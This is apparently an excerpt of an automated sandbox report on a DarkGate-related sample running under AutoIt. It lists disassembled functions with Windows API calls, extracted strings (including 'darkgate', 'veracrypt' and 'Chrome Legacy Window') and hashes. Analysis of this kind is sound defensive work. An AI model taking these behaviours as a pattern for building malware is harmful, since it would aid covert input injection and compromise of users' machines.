Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID:
API String ID: 641708696-0
Opcode ID: cf52705a561e81f3bb56b7505df4ea7708808b85addbffb0b987a943ac4c1fa7
Instruction ID: 74ca212e864fd53806ceaedec9de55d99fc83dc26e41d2d441bec57dd0d21475
Opcode Fuzzy Hash: cf52705a561e81f3bb56b7505df4ea7708808b85addbffb0b987a943ac4c1fa7
Instruction Fuzzy Hash: 2F61AB30519A08DFCB259F58D888B2AB7F1FB40326F50862DE446D7964C771BC90EFA5

Function 03B62C4C Relevance: 18.2, APIs: 9, Strings: 3, Instructions: 151COMMON

Download Yara Rule

APIs

CharNextA.USER32(00000000), ref: 03B62CA1
CharNextA.USER32(00000000,00000000), ref: 03B62CAD
CharNextA.USER32(00000000,00000000), ref: 03B62CD5
CharNextA.USER32(00000000), ref: 03B62CE1
CharNextA.USER32(?,00000000), ref: 03B62D22
CharNextA.USER32(00000000,?,00000000), ref: 03B62D2E
CharNextA.USER32(00000000,?,00000000), ref: 03B62D66
CharNextA.USER32(?,00000000), ref: 03B62D72

Strings

", xrefs: 03B62CC6
, xrefs: 03B62C74
", xrefs: 03B62D57

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: CharNext
String ID: $"$"
API String ID: 3213498283-938660540
Opcode ID: d76b6683da4a855a2cc87ee1813752cd7c38fd5dfaf21614363d10ae47ddbd4c
Instruction ID: bd1b4bbdb0fbdb8934c8a36350410da090bf69c4e3f0d2dc79930bbf2e7103d3
Opcode Fuzzy Hash: d76b6683da4a855a2cc87ee1813752cd7c38fd5dfaf21614363d10ae47ddbd4c
Instruction Fuzzy Hash: 4951B274A08281AFE721DFACC884A15BBE5EF5A354F284CA9E4C5CF352D339A940CB55

Function 00842581 Relevance: 18.1, APIs: 12, Instructions: 132COMMON

Download Yara Rule

APIs

Part of subcall function 008429AB: GetWindowLongW.USER32(?,000000EB), ref: 008429BC

GetSysColor.USER32(0000000F), ref: 008425AF

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: ColorLongWindow
String ID:
API String ID: 259745315-0
Opcode ID: d014b1ca46cee3cb8a0dba72c2403bbfdb2c531ea8d55a5d4ef29360a5a31946
Instruction ID: 5df05e50f52f3dd1d7e61d9bbcbc111b26444da04c5233759c0b5d29a05360f5
Opcode Fuzzy Hash: d014b1ca46cee3cb8a0dba72c2403bbfdb2c531ea8d55a5d4ef29360a5a31946
Instruction Fuzzy Hash: 2141C330109148AFDB209F689888BB93B66FB1A335F5643A5FD65CB1E6D7308C41DB21

Function 008529BE Relevance: 18.0, APIs: 4, Strings: 6, Instructions: 478COMMON

Download Yara Rule

APIs

Part of subcall function 00860B8B: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,00852A3E,?,00008000), ref: 00860BA7

Part of subcall function 00860284: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00852A58,?,00008000), ref: 008602A4

SetCurrentDirectoryW.KERNEL32(?,?,?,?,00000000), ref: 00852ADF
SetCurrentDirectoryW.KERNEL32(?), ref: 00852C2C

Part of subcall function 00853EBE: _wcscpy.LIBCMT ref: 00853EF6

Part of subcall function 0086386D: _iswctype.LIBCMT ref: 00863875

Strings

Unterminated string, xrefs: 008900D6
AU3!, xrefs: 00852A93
Bad directive syntax error, xrefs: 0089008F
Error opening the file, xrefs: 0088FD33, 0088FDAA
#include depth exceeded. Make sure there are no recursive includes, xrefs: 0088FD17
EA06, xrefs: 0088FD48

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: CurrentDirectory$FullNamePath_iswctype_wcscpy
String ID: #include depth exceeded. Make sure there are no recursive includes$AU3!$Bad directive syntax error$EA06$Error opening the file$Unterminated string
API String ID: 537147316-3738523708
Opcode ID: 2ed074150554ade6580cece57e201b84009935a36ec75ac7c01119f3ecf78e25
Instruction ID: ef4dd628f574401089126bfe02b464062debf608ebc1d26d13251b24d33f0e55
Opcode Fuzzy Hash: 2ed074150554ade6580cece57e201b84009935a36ec75ac7c01119f3ecf78e25
Instruction Fuzzy Hash: 1E0248311083419ECB24EF28C841AAFBBE5FF99355F14491DF999D72A2DB309A49CB43

Function 03BB2598 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 275windowsleepthreadCOMMON

Download Yara Rule

APIs

SetThreadDesktop.USER32(00000000,00000000,03BB2924,?,?,?,?,0000000E,00000000,00000000), ref: 03BB25CD
GetWindowRect.USER32(00000000,?), ref: 03BB25DC
Sleep.KERNEL32(00000032,00000000,?,00000000,00000101,?,001E0001,?,?,||-_-|-_-||,?,?,?,?,?,0000000E), ref: 03BB25F8
GetWindowRect.USER32(00000000,?), ref: 03BB2617

Part of subcall function 03B8794C: Sleep.KERNEL32(00000064,00000000,03B87A31,?,?,?,?,00000000,00000000,00000000,00000000,00000000), ref: 03B879FE

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000006,?,?,||-_-|-_-||,?,?,?,?,?,0000000E), ref: 03BB27C1
PostMessageA.USER32(00000000,00000100,?,001E0001), ref: 03BB289F
PostMessageA.USER32(00000000,00000101,?,001E0001), ref: 03BB28B2
PostMessageA.USER32(00000000,00000102,?,00000000), ref: 03BB28CE

Strings

||-_-|-_-||, xrefs: 03BB2734, 03BB278C, 03BB27D3, 03BB2813, 03BB2854
Chrome Legacy Window, xrefs: 03BB25E6, 03BB2602

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: MessagePostWindow$RectSleep$DesktopThread
String ID: Chrome Legacy Window$||-_-|-_-||
API String ID: 389509467-2894887002
Opcode ID: a54361b637aba34445f4aed591ba5871e257c4fa5419a323e91b7d9e0515f46d
Instruction ID: 8d162327a62d80b350390df7a21edc60c87dd5484befa1022aa974b7489cabc5
Opcode Fuzzy Hash: a54361b637aba34445f4aed591ba5871e257c4fa5419a323e91b7d9e0515f46d
Instruction Fuzzy Hash: 62B1D679A002089FDB10EBA8C990AEEB7F9EF48308F1045B5E415EF255DFB4AD458B61

Function 008A2CCE Relevance: 16.7, APIs: 11, Instructions: 190windowsleepCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 008A2CE9
GetMenuItemInfoW.USER32(00907890,000000FF,00000000,00000030), ref: 008A2D4A
SetMenuItemInfoW.USER32(00907890,00000004,00000000,00000030), ref: 008A2D80
Sleep.KERNEL32(000001F4), ref: 008A2D92
GetMenuItemCount.USER32(?), ref: 008A2DD6
GetMenuItemID.USER32(?,00000000), ref: 008A2DF2
GetMenuItemID.USER32(?,-00000001), ref: 008A2E1C
GetMenuItemID.USER32(?,?), ref: 008A2E61
CheckMenuRadioItem.USER32(?,00000000,?,00000000,00000400), ref: 008A2EA7
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 008A2EBB
SetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 008A2EDC

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: ItemMenu$Info$CheckCountRadioSleep_memset
String ID:
API String ID: 4176008265-0
Opcode ID: fba1d91fe1d75309121f41f4d0474680bc0e8659b0c510010bc52e79b63c1201
Instruction ID: 54cbd2ab13de671f399df9138342180625299f7a1a63f5aa9c504767165e4891
Opcode Fuzzy Hash: fba1d91fe1d75309121f41f4d0474680bc0e8659b0c510010bc52e79b63c1201
Instruction Fuzzy Hash: FF61B270900249AFEB21DFACDC88ABEBBB9FB42304F140159F851E7652D731AD65DB21

Function 008B8AA5 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 197comCOMMON

Download Yara Rule

APIs

Part of subcall function 00844D37: __itow.LIBCMT ref: 00844D62
Part of subcall function 00844D37: __swprintf.LIBCMT ref: 00844DAC

CoInitialize.OLE32 ref: 008B8AED
CoUninitialize.OLE32 ref: 008B8AF8
CoCreateInstance.OLE32(?,00000000,00000017,008D3BBC,?), ref: 008B8B58
IIDFromString.OLE32(?,?), ref: 008B8BCB
VariantInit.OLEAUT32(?), ref: 008B8C65
VariantClear.OLEAUT32(?), ref: 008B8CC6

Strings

Invalid parameter, xrefs: 008B8BE4
Failed to create object, xrefs: 008B8B63, 008B8C19
NULL Pointer assignment, xrefs: 008B8B9D

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: Variant$ClearCreateFromInitInitializeInstanceStringUninitialize__itow__swprintf
String ID: Failed to create object$Invalid parameter$NULL Pointer assignment
API String ID: 834269672-1287834457
Opcode ID: e5dc3235c5d647cf90fbb91fe14c785eaa2c4eac3b8241a66292fff76bf1dca0
Instruction ID: d90f1c42b6fa1624e7488e0befb9e65ae4c80d68f58a5d30cee0f76e759132bb
Opcode Fuzzy Hash: e5dc3235c5d647cf90fbb91fe14c785eaa2c4eac3b8241a66292fff76bf1dca0
Instruction Fuzzy Hash: BB6169B0205615DFD710DF24C889BAABBE8FF45724F10085AF981DB391CB70E948CBA2

Function 03BB3704 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 156fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(00000000,C0000000,00000000,00000000,00000003,00000080,00000000,00000000,03BB38CE,?,?,00000000,00000000), ref: 03BB3768
ReadFile.KERNEL32(000000FF,03BB305A,00000000,?,00000000,00000000), ref: 03BB37B7
SetFilePointer.KERNEL32(000000FF,00000000,00000000,00000001,00000000,00000000), ref: 03BB37F6
SetFilePointer.KERNEL32(000000FF,?,00000000,00000000,000000FF,00000000,00000000,00000001,00000000,00000000), ref: 03BB3811
WriteFile.KERNEL32(000000FF,?,?,?,00000000,000000FF,?,00000000,00000000,000000FF,00000000,00000000,00000001,00000000,00000000), ref: 03BB3827
SetFilePointer.KERNEL32(000000FF,00000000,00000000,00000002,000000FF,03BB305A,00000000,?,00000000,00000000), ref: 03BB3849
WriteFile.KERNEL32(000000FF,?,00000000,?,00000000,000000FF,00000000,00000000,00000002,000000FF,03BB305A,00000000,?,00000000,00000000), ref: 03BB3865
CloseHandle.KERNEL32(000000FF,03BB38A5,?,00000000,00000000), ref: 03BB3898

Strings

darkgate, xrefs: 03BB3744

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: File$Pointer$Write$CloseCreateHandleRead
String ID: darkgate
API String ID: 3484830659-757439335
Opcode ID: d72592a99702e433e5512194edfd7690eddf50c843e6eedeaebe0fcdbe6c7cdd
Instruction ID: 0d6b787dfa4b84ef37cfe6c7d933984a5c7231f4a7edf7566b5c6f6422f7097b
Opcode Fuzzy Hash: d72592a99702e433e5512194edfd7690eddf50c843e6eedeaebe0fcdbe6c7cdd
Instruction Fuzzy Hash: 5B514079A04308AFDB11DBA8DC51FEEB7F8EB49708F5440B5F504EB280DAB4A941CB65

Function 03B7CE80 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 114COMMON

Download Yara Rule

APIs

getaddrinfo.WS2_32(00000000,00000000,?,?), ref: 03B7CEDF
getaddrinfo.WS2_32(00000000,00000000,00000001,?), ref: 03B7CF22
FreeAddrInfoW.WS2_32(00000000), ref: 03B7CFBD

Strings

::0, xrefs: 03B7CEFD
::1, xrefs: 03B7CF3D
127.0.0.1, xrefs: 03B7CF2F
0.0.0.0, xrefs: 03B7CEEF

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: getaddrinfo$AddrFreeInfo
String ID: 0.0.0.0$127.0.0.1$::0$::1
API String ID: 3931047987-1239866159
Opcode ID: 7e880a8e4aa34e3f701d415e4942939834594e2e077a21df8f625c7ba293012e
Instruction ID: f0bc622de28fc1bd6d05fff0e361ae379025a9393d9b459afd1e6d77ef6043fd
Opcode Fuzzy Hash: 7e880a8e4aa34e3f701d415e4942939834594e2e077a21df8f625c7ba293012e
Instruction Fuzzy Hash: 97418475A00208AFCB00EFA5CC44AEEBFF8EB49318F1544BAF015EB645D7348A49CB60

Function 0087C0E3 Relevance: 15.1, APIs: 10, Instructions: 59windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000008), ref: 0084260D
SetTextColor.GDI32(?,000000FF), ref: 00842617
SetBkMode.GDI32(?,00000001), ref: 0084262C
GetStockObject.GDI32(00000005), ref: 00842634
GetClientRect.USER32(?), ref: 0087C0FC
SendMessageW.USER32(?,00001328,00000000,?), ref: 0087C113
GetWindowDC.USER32(?), ref: 0087C11F
GetPixel.GDI32(00000000,?,?), ref: 0087C12E
ReleaseDC.USER32(?,00000000), ref: 0087C140
GetSysColor.USER32(00000005), ref: 0087C15E

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: Color$ClientMessageModeObjectPixelRectReleaseSendStockTextWindow
String ID:
API String ID: 3430376129-0
Opcode ID: 449ca2721d1aac313d2fad323a7dc6024883fabd2bdfa3cffd8b4401d691317b
Instruction ID: 7fe343f6ddefa47dfea46a3394d9916ba845c584f8f3dd7218a4eaf978a68f63
Opcode Fuzzy Hash: 449ca2721d1aac313d2fad323a7dc6024883fabd2bdfa3cffd8b4401d691317b
Instruction Fuzzy Hash: 4B117931506209BFDB615FB4EC08BA97BB2FB18331F514366FA6A950E1CB314991EF20

Function 03B7D390 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 218networkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(00000000), ref: 03B7D3E3
gethostbyname.WS2_32(00000000), ref: 03B7D409
getaddrinfo.WS2_32(00000000,00000000,?,?), ref: 03B7D4FD
FreeAddrInfoW.WS2_32(00000000), ref: 03B7D5CF

Strings

0.0.0.0, xrefs: 03B7D5E9
%d.%d.%d.%d, xrefs: 03B7D466
, xrefs: 03B7D539

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: AddrFreeInfogetaddrinfogethostbynameinet_addr
String ID: $%d.%d.%d.%d$0.0.0.0
API String ID: 2886313179-1131994233
Opcode ID: d4aba99de2dc4beaaba9f90abe763a35acd7383a21a89d00ba9137bc9952e655
Instruction ID: c39712bcc2ea2986ea1b60fbfcec3e0870f353d6a1b81f1337ddc6f8d4393d7b
Opcode Fuzzy Hash: d4aba99de2dc4beaaba9f90abe763a35acd7383a21a89d00ba9137bc9952e655
Instruction Fuzzy Hash: 52811B74A002489FCB11DFA8C984A9EBBF8EF49358F5544BAE815EB311DB34AD01CB50

Function 03B899C4 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 179COMMON

Download Yara Rule

APIs

GetCurrentProcessId.KERNEL32 ref: 03B89A93

Strings

update, xrefs: 03B89BAD
proce, xrefs: 03B89BEC
conhost.exe, xrefs: 03B89B6E
vbc.exe, xrefs: 03B89B2F
explorer, xrefs: 03B89AF0
veracrypt, xrefs: 03B89C2B
lp.txt, xrefs: 03B89A13, 03B89A3D

Memory Dump Source

Source File: 00000009.00000002.1966048662.0000000003B61000.00000040.00001000.00020000.00000000.sdmp, Offset: 03B61000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_3b61000_Autoit3.jbxd

Yara matches

Similarity

API ID: CurrentProcess
String ID: conhost.exe$explorer$lp.txt$proce$update$vbc.exe$veracrypt
API String ID: 2050909247-3686906338
Opcode ID: 6a74152a5ab6c3a3dcb233d5312f20608000c2b53fd124957e8601175eca40c9
Instruction ID: a175b4c4a172fca1ba5331894254e69ca10488829f61bc5676547dbe7b5df9e3
Opcode Fuzzy Hash: 6a74152a5ab6c3a3dcb233d5312f20608000c2b53fd124957e8601175eca40c9
Instruction Fuzzy Hash: DD71D838A0061D8BDF20EB65CD90AEDB3B5EF8530CF4045F59808AB255EB74AE85CF90

Function 008CC634 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 149windowCOMMON

Download Yara Rule

APIs

Part of subcall function 008429E2: GetWindowLongW.USER32(?,000000EB), ref: 008429F3

Part of subcall function 00842714: GetCursorPos.USER32(?), ref: 00842727
Part of subcall function 00842714: ScreenToClient.USER32(009077B0,?), ref: 00842744
Part of subcall function 00842714: GetAsyncKeyState.USER32(00000001), ref: 00842769
Part of subcall function 00842714: GetAsyncKeyState.USER32(00000002), ref: 00842777

ImageList_DragLeave.COMCTL32(00000000,00000000,00000001,?,?), ref: 008CC69C
ImageList_EndDrag.COMCTL32 ref: 008CC6A2
ReleaseCapture.USER32 ref: 008CC6A8
SetWindowTextW.USER32(?,00000000), ref: 008CC752
SendMessageW.USER32(?,000000B1,00000000,000000FF), ref: 008CC765
DefDlgProcW.USER32(?,00000202,?,?,00000000,00000001,?,?), ref: 008CC847

Strings

@GUI_DRAGFILE, xrefs: 008CC7DC
@GUI_DROPID, xrefs: 008CC799

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: AsyncDragImageList_StateWindow$CaptureClientCursorLeaveLongMessageProcReleaseScreenSendText
String ID: @GUI_DRAGFILE$@GUI_DROPID
API String ID: 1924731296-2107944366
Opcode ID: acf0cfc5c291c3cc2f7b76f35e63dcb828615f42d7a775a86932abafa04416e9
Instruction ID: 14074c182b4d229e7288cbc8f058199eb3758709b6dadc2e39025541f28d9b01
Opcode Fuzzy Hash: acf0cfc5c291c3cc2f7b76f35e63dcb828615f42d7a775a86932abafa04416e9
Instruction Fuzzy Hash: 09517A70608304AFDB14EF28CC99F6A7BE5FB84320F00852DF995872E1DB30A955DB52

Function 008B20E1 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 134networkCOMMON

Download Yara Rule

APIs

InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 008B211C
HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 008B2148
InternetQueryOptionW.WININET(00000000,0000001F,00000000,?), ref: 008B218A
InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 008B219F
HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 008B21AC
HttpQueryInfoW.WININET(00000000,00000005,?,?,00000000), ref: 008B21DC
InternetCloseHandle.WININET(00000000), ref: 008B2223

Part of subcall function 008B2B4F: GetLastError.KERNEL32(?,?,008B1EE3,00000000,00000000,00000001), ref: 008B2B64
Part of subcall function 008B2B4F: SetEvent.KERNEL32(?,?,008B1EE3,00000000,00000000,00000001), ref: 008B2B79

Strings

, xrefs: 008B21CD

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: Internet$Http$OptionQueryRequest$CloseConnectErrorEventHandleInfoLastOpenSend
String ID:
API String ID: 2603140658-3916222277
Opcode ID: 6064e5be1de613b964f93f13cbdab6ea085b1d1a90d3c32e505fb05bde9c990b
Instruction ID: fa72f0cf966bd0c5e0400cf78ef76ae8b48829c66822d770df1f9ef1d4c5153c
Opcode Fuzzy Hash: 6064e5be1de613b964f93f13cbdab6ea085b1d1a90d3c32e505fb05bde9c990b
Instruction Fuzzy Hash: 934149B1501208BEEB129F54CC89FFBBBACFB08354F00411AFA15DA251DB75AE449BA1

Function 00F206D9 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 56filewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 00F20541: VirtualQuery.KERNEL32(?,?,0000001C), ref: 00F2055D
Part of subcall function 00F20541: GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 00F20581
Part of subcall function 00F20541: GetModuleFileNameA.KERNEL32(00840000,?,00000105), ref: 00F2059C
Part of subcall function 00F20541: LoadStringA.USER32(00000000,0000FFE7,?,00000100), ref: 00F20640

CharToOemA.USER32(?,?), ref: 00F20710
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000,?,?), ref: 00F2072D
WriteFile.KERNEL32(00000000,000000F4,?,00000000,?,00000000,?,?), ref: 00F20733
GetStdHandle.KERNEL32(000000F4,00F2079D,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 00F20748
WriteFile.KERNEL32(00000000,000000F4,00F2079D,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 00F2074E
LoadStringA.USER32(00000000,0000FFE8,?,00000040), ref: 00F20770
MessageBoxA.USER32(00000000,?,?,00002010), ref: 00F20786

Strings

PRQ4&, xrefs: 00F20701

Memory Dump Source

Source File: 00000009.00000002.1964905533.0000000000F17000.00000040.00000020.00020000.00000000.sdmp, Offset: 00F17000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_f17000_Autoit3.jbxd

Similarity

API ID: File$HandleLoadModuleNameStringWrite$CharMessageQueryVirtual
String ID: PRQ4&
API String ID: 185507032-145234664
Opcode ID: d6074b736194fa47fb8ceab528d6a476faa4566fe7e8c39399fa63462aba850c
Instruction ID: 9c1ec1ce3d9101a297220d0e1472674335744d4b100fc3ded65083d12f3e567e
Opcode Fuzzy Hash: d6074b736194fa47fb8ceab528d6a476faa4566fe7e8c39399fa63462aba850c
Instruction Fuzzy Hash: 861169B61442047ED700EBA4DC86FDF77ECAB44700F444925BB54D61E2EF78E984AB62

Function 0089A226 Relevance: 13.6, APIs: 9, Instructions: 66sleepkeyboardwindowCOMMON

Download Yara Rule

APIs

Part of subcall function 0089B52D: GetWindowThreadProcessId.USER32(?,00000000), ref: 0089B54D
Part of subcall function 0089B52D: GetCurrentThreadId.KERNEL32 ref: 0089B554
Part of subcall function 0089B52D: AttachThreadInput.USER32(00000000,?,0089A23B,?,00000001), ref: 0089B55B

MapVirtualKeyW.USER32(00000025,00000000), ref: 0089A246
PostMessageW.USER32(?,00000100,00000025,00000000), ref: 0089A263
Sleep.KERNEL32(00000000,?,00000100,00000025,00000000,?,00000001), ref: 0089A266
MapVirtualKeyW.USER32(00000025,00000000), ref: 0089A26F
PostMessageW.USER32(?,00000100,00000027,00000000), ref: 0089A28D
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 0089A290
MapVirtualKeyW.USER32(00000025,00000000), ref: 0089A299
PostMessageW.USER32(?,00000101,00000027,00000000), ref: 0089A2B0
Sleep.KERNEL32(00000000,?,00000100,00000027,00000000,?,00000001), ref: 0089A2B3

Memory Dump Source

Source File: 00000009.00000002.1964486435.0000000000841000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00840000, based on PE: true

Associated: 00000009.00000002.1964462457.0000000000840000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964550353.00000000008F6000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964613673.0000000000900000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000009.00000002.1964639195.0000000000909000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_840000_Autoit3.jbxd

Similarity

API ID: MessagePostSleepThreadVirtual$AttachCurrentInputProcessWindow
String ID:
API String ID: 2014098862-0
Opcode ID: b68c2e1899650a9255680798d7d59c6e85a9d7ae018f8a6766036f2501266aaf
Instruction ID: 20d85e911cb710a5f7cb6e620efa3f4fd014dc63eb9be1e4e36e8681979a1571
Opcode Fuzzy Hash: b68c2e1899650a9255680798d7d59c6e85a9d7ae018f8a6766036f2501266aaf
Instruction Fuzzy Hash: DE11E571550218BEFA106FA4AC49F6A3B1DFB8C754F110516F340AB0D1CAF35C509EA0

Function 008BA20D Relevance: 12.6, APIs: 5, Strings: 2, Instructions: 352COMMON

